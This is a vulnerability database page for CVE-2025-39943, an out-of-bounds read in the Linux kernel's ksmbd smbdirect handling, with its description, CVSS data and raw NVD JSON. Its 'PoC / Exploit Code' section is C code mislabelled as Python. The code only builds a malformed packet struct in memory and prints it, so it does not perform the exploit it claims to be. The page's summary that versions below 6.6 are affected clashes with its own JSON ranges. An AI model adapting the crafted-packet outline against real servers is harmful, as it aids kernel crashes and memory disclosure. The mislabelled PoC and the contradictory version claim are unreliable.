Security Vulnerability Report
中文
CVE-2025-39943 CVSS 7.1 HIGH

CVE-2025-39943

Published: 2025-10-04 08:15:47
Last Modified: 2026-04-06 13:28:48
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: smbdirect: validate data_offset and data_length field of smb_direct_data_transfer If data_offset and data_length of smb_direct_data_transfer struct are invalid, out of bounds issue could happen. This patch validate data_offset and data_length field in recv_done.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.6 (具体受影响版本需参考各stable分支修复commit)
Linux Kernel stable分支: 5282491fc49d5614ac6ddcd012e5743eecb6a67c
Linux Kernel stable分支: 529b121b00a6ee3c88fb3c01b443b2b81f686d48
Linux Kernel stable分支: 773fddf976d282ef059c36c575ddb81567acd6bc
Linux Kernel stable分支: 8be498fcbd5b07272f560b45981d4b9e5a2ad885
Linux Kernel stable分支: bdaab5c6538e250a9654127e688ecbbeb6f771d5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-39943 PoC - Conceptual demonstration // Note: This vulnerability requires kernel-level access to ksmbd with smbdirect enabled // and RDMA-capable hardware. The following illustrates the malicious packet structure. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simplified SMB Direct data transfer structure (relevant fields) struct smb_direct_data_transfer { uint32_t data_offset; // Vulnerable field: not validated uint32_t data_length; // Vulnerable field: not validated uint32_t remaining_data_length; uint32_t reserved; uint8_t buffer[]; }; /* * Conceptual exploit flow: * 1. Establish an SMB Direct (RDMA) connection to target ksmbd server * 2. Craft a smb_direct_data_transfer with out-of-bounds values: * - data_offset = 0xFFFFFFFF (way beyond buffer) * - data_length = 0xFFFFFFFF (way beyond buffer) * 3. Send the malicious packet via RDMA send/recv queue * 4. When kernel processes recv_done callback, it uses these * unchecked values to access memory, causing OOB read * 5. Result: kernel crash (DoS) or memory disclosure * * Actual exploitation requires: * - RDMA-capable NIC (e.g., Mellanox ConnectX) * - librdmacm or ibverbs library * - Valid SMB session with ksmbd * - Local low-privilege access (PR:L) */ int main() { struct smb_direct_data_transfer *malicious_pkt; // Allocate minimal buffer malicious_pkt = (struct smb_direct_data_transfer *)malloc(sizeof(struct smb_direct_data_transfer) + 64); if (!malicious_pkt) return 1; // Set malicious values to trigger OOB access malicious_pkt->data_offset = 0xFFFF0000; // Out of bounds offset malicious_pkt->data_length = 0xFFFF0000; // Out of bounds length malicious_pkt->remaining_data_length = 0; malicious_pkt->reserved = 0; memset(malicious_pkt->buffer, 'A', 64); printf("Malicious SMB Direct packet crafted\n"); printf("data_offset: 0x%08x\n", malicious_pkt->data_offset); printf("data_length: 0x%08x\n", malicious_pkt->data_length); printf("Send this via RDMA to trigger CVE-2025-39943\n"); free(malicious_pkt); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39943", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:47.357", "lastModified": "2026-04-06T13:28:48.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: smbdirect: validate data_offset and data_length field of smb_direct_data_transfer\n\nIf data_offset and data_length of smb_direct_data_transfer struct are\ninvalid, out of bounds issue could happen.\nThis patch validate data_offset and data_length field in recv_done."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.1", "versionEndExcluding": "5.15.194", "matchCriteriaId": "399525B9-AAAB-4098-818B-2A4F765D94B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.154", "matchCriteriaId": "E49CD91E-FC55-45B0-BB63-9AD5F5D70CAA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.108", "matchCriteriaId": "A7E8EAEE-7731-4996-9578-696255D61EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.49", "matchCriteriaId": "CAA033E9-A2C5-4976-A83E-9804D8FB827F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.15:-:*:*:*:*:*:*", "matchCriteriaId": "40D9C0D1-0F32-4A2B-9840-1072F5497540"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.15:rc7:*:*:*:*:*:*", "matchCriteriaId": "948A6B8D-1B72-4945-8680-354E53BE1C80"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5282491fc49d5614ac6ddcd012e5743eecb6a67c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/529b121b00a6ee3c88fb3c01b443b2b81f686d48", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/773fddf976d282ef059c36c575ddb81567acd6bc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8be498fcbd5b07272f560b45981d4b9e5a2ad885", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bdaab5c6538e250a9654127e688ecbbeb6f771d5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/eb0378dde086363046ed3d7db7f126fc3f76fd70", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}